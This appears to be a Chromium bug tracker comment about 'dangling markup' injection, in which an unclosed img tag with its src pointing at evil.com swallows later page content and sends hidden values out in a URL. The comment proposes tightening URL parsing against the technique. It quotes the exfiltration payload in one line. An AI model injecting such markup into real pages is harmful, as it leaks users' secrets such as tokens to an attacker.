Because HTML is fairly lax in parsing attribute values, injecting something like `<img src='https://evil.com/?whatever=` can expose otherwise hidden values by eating up elements and their attributes, and resolving them as a URL.
Perhaps we could restrict the character set allowed in `src`/`href` attributes to bring them in-line with CSS's rules for `url('`. That is, perhaps we should stop resolving URLs that contain newline characters? Or braces? Or both? It's not clear whether we can do something about this by default, but worst case, we could allow an opt-in to stricter parsing.
Metrics first, then a proposal to HTML folks.
Comment 1 by mkwst@chromium.org
, Jan 13 2017